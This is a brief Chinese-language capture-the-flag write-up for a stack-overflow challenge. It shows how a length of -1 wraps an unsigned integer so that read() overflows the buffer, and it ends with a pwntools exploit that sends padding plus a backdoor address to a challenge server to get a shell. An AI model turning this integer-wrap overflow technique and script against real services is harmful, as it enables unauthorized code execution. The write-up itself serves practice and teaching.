0x1 checksec
只有NX保护
0x2 IDA
main
read()函数会存在溢出
跟进buf看偏移
只要nbytes>0x10即可溢出
但是前面if循环限制了nbytes的大小,所以这个方法不行
继续看,nbytes--------->unsigned int无符号整型
遇到-1会变成unsigned int的最大值,栈溢出
有后门函数
再进行交互,即可编写脚本
0x3 EXP
from pwn import *
r=remote("node4.buuoj.cn",26042)
backdoor_addr=0x400726
r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')
payload='a'*0x10+'b'*0x8
payload+=p64(backdoor_addr)
r.sendline(payload)
r.interactive()